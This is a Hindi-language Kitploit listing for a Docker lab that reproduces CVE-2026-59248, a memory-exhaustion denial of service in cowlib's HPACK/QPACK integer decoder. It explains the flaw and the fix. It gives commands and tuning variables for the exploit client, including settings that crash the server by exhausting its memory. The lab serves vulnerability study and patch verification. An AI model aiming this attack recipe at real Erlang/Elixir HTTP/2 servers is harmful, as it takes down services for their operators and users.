Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
bug-free-broccoli — CVE-2026-59248 के लिए पुनरुत्पादनीय Docker लैब: cowlib में एक HPACK/QPACK इंटीजर-डिकोडर मेमोरी-एक्सहॉशन DoS, जिसमें exploit क्लाइंट, Cowboy सर्वर और Grafana मेट्रिक्स शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/darynongera/bug-free-broccoli
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब सुरक्षानेटवर्क सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubdarynongera/bug-free-broccoli
साझा करें

bug-free-broccoli

CVE-2026-59248 के लिए पुनरुत्पादनीय Docker लैब: cowlib में एक HPACK/QPACK इंटीजर-डिकोडर मेमोरी-एक्सहॉशन DoS, जिसमें exploit क्लाइंट, Cowboy सर्वर और Grafana मेट्रिक्स शामिल हैं।

रिपॉजिटरी देखें
124 दिन पहलेअभी तक समीक्षित नहीं

cowlib HPACK/QPACK पूर्णांक-डिकोडर DoS — अवलोकनक्षमता के साथ पुनरुत्पादनीय लैब

CVE

ninenines cowlib (≥ 2.0.0, < 2.19.0) में एक संसाधन-सीमा भेद्यता एक अप्रमाणित दूरस्थ HTTP/2 या HTTP/3 पीयर को भेद्य सर्वर (या क्लाइंट) पर मेमोरी समाप्त करने और सेवा-अस्वीकृति उत्पन्न करने की अनुमति देती है।

HPACK और QPACK प्रीफ़िक्स्ड-पूर्णांक डिकोडर cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, जिसे cow_hpack:decode/2 और cow_qpack:decode_field_section/3 से आमंत्रित किया जाता है) निरंतरता ऑक्टेट तब तक पढ़ता है जब तक ऐसा ऑक्टेट न मिल जाए जिसका उच्च बिट स्पष्ट हो, प्रत्येक चरण पर Int + (Value bsl M) का मूल्यांकन करता है जिसमें शिफ्ट M प्रति ऑक्टेट 7 से बढ़ता है। निरंतरता ऑक्टेट की संख्या, परिणामी बिट चौड़ाई, या मान पर कोई सीमा नहीं है — डिकोडर जो भी एन्कोडेड लंबाई पीयर प्रदान करता है उसे उपभोग कर लेता है। चूंकि Erlang पूर्णांक अपरिवर्तनीय होते हैं, प्रत्येक मध्यवर्ती Value bsl M और प्रत्येक संचयक अद्यतन एक नया बिगनम आवंटित करता है जिसकी अंक चौड़ाई अब तक संसाधित ऑक्टेट के साथ रैखिक रूप से बढ़ती है; पूरे डिकोड पर योग करने पर, क्षणिक आवंटन एन्कोडेड लंबाई में O(n²) होता है।

एक HTTP/2 HEADERS + CONTINUATION फ़्रेम युग्म में ले जाया गया एकल अधिकतम HPACK इंडेक्स्ड प्रतिनिधित्व — Cowboy के डिफ़ॉल्ट max_frame_size_received के भीतर — परिणामी हेडर-टेबल इंडेक्स के अमान्य के रूप में अस्वीकृत होने से पहले सैकड़ों मेगाबाइट क्षणिक आवंटन और कचरा-संग्रह उथल-पुथल को बाध्य कर सकता है। बार-बार या समवर्ती कनेक्शन दबाव को गुणा करते हैं और Erlang VM को मेमोरी समाप्ति तक पहुँचा सकते हैं।

Cowlib वह HTTP पार्सर है जिसका उपयोग Cowboy, RabbitMQ का प्रबंधन प्लगइन, और अन्य Erlang/Elixir HTTP/2 और HTTP/3 सर्वर और क्लाइंट करते हैं, इसलिए कोई भी उजागर एंडपॉइंट जो अविश्वसनीय पीयर से HPACK या QPACK स्वीकार करता है, पहुँच योग्य है।

फ़िक्स: cowlib 2.19.0 dec_big_int/3 में एक when M < 32 गार्ड जोड़ता है, जो कुछ ही ऑक्टेट के बाद अत्यधिक बड़े पूर्णांकों को अस्वीकार कर देता है।

यह लैब एक वास्तविक Cowboy सर्वर के विरुद्ध हमले (प्रीफ़ेस → SETTINGS → HEADERS → CONTINUATION एक अत्यधिक बड़े 0xFF… HPACK पूर्णांक के साथ) को पुनः चलाती है और पैच लागू करने से पहले और बाद में Prometheus/Grafana में BEAM मेमोरी स्पाइक को कैप्चर करती है।

आर्किटेक्चर

 exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
                                    │  /metrics  (same listener)
                                    ▼
                                prometheus (:9090) ──scrape 2s──▶ grafana (:3000)

Cowboy एक सटीक cowlib संस्करण पिन करता है: cowboy 2.17.0 कमजोर cowlib 2.18.0 के साथ आता है (cowboy 2.18.0 में ठीक किया गया cowlib 2.19.0 बंडल है)। यह लैब override: true के साथ cowlib को बाध्य करता है ताकि vuln→fix प्रदर्शन server/mix.exs में एक-पंक्ति का परिवर्तन हो।

सेवाURL
Cowboy सर्वरhttp://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c)
सर्वर /metricshttp://localhost:8080/metrics
Prometheushttp://localhost:9090/targets
Grafanahttp://localhost:3000 (admin / admin)

Grafana डैशबोर्ड "cowlib 2.18.0 HPACK memory DoS" स्वतः प्रोविज़न किया गया है (कोई मैन्युअल डेटा-स्रोत या पैनल सेटअप नहीं)।

उपयोग

# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana

# 2. Sanity checks
curl http://localhost:8080/               # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total

# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
#    (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client

# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server                # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
#   Panel 1 "ERLANG VM: Process memory"  = BEAM process heaps only (the decoder)
#   Panel 2 "ERLANG VM: Total memory"    = system + processes allocator memory
#   Panel 3 "CONTAINER: cgroup memory"   = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.

# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server

# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.

# 5. Verify the fix: in server/mix.exs change
#        {:cowlib, "2.18.0", override: true}
#    to
#        {:cowlib, "2.19.0", override: true}
#    then rebuild and restart just the server (the memory line stays flat):
#    docker compose build cowboy-server && docker compose up -d cowboy-server
#    docker compose run --rm exploit-client

# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v

पोर्ट: स्टैक होस्ट 8080 (Cowboy), 9090 (Prometheus), 3000 (Grafana) प्रकाशित करता है। शुरू करने से पहले सुनिश्चित करें कि ये मुक्त हैं, और हर बार docker compose run --rm के साथ एक्सप्लॉइट क्लाइंट को फिर से चलाएँ — Compose सेवा एक बार चलती है और बाहर निकल जाती है।

आक्रमण ट्यूनिंग (क्लाइंट पर env वेरिएबल्स)

वेरिएबलडिफ़ॉल्टप्रभाव
PAYLOAD_CONTINUATIONS524288HPACK इंटीजर में 0xFF ऑक्टेट्स की संख्या (512 KB बम; सर्वर का max_fragmented_header_block_size 1 MB तक अनुमति देता है)।
NUM_CONCURRENT100समवर्ती async कनेक्शन — प्रत्येक ATTACK_KEEPALIVE_SECS तक डिकोडिंग करते हुए जीवित रहता है। सर्वर कंटेनर को विश्वसनीय रूप से OOM (1g पार) करने के लिए 200+ तक बढ़ाएँ।
SOCKET_TIMEOUT15प्रत्येक कनेक्शन हैंडशेक के लिए सेकंड
ATTACK_KEEPALIVE_SECS60भेजने के बाद प्रत्येक कनेक्शन कितनी देर जीवित रहता है
SERVER_HOST / SERVER_PORTcowboy-server / 8080लक्ष्य
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py

सर्वर के max_fragmented_header_block_size (1 MiB) से बड़ा पेलोड डिकोडर तक पहुँचने से पहले ही अस्वीकार कर दिया जाता है, और क्लाइंट तब बंद कनेक्शन पर socket.send() raised exception देखता है। PAYLOAD_CONTINUATIONS को ~1,000,000 या उससे कम रखें, या मेल खाने के लिए server/poc_server.exs में सीमा बढ़ाएँ (और पुनः बिल्ड करें)।

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

अभी तक कोई लोकप्रियता डेटा नहीं है।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →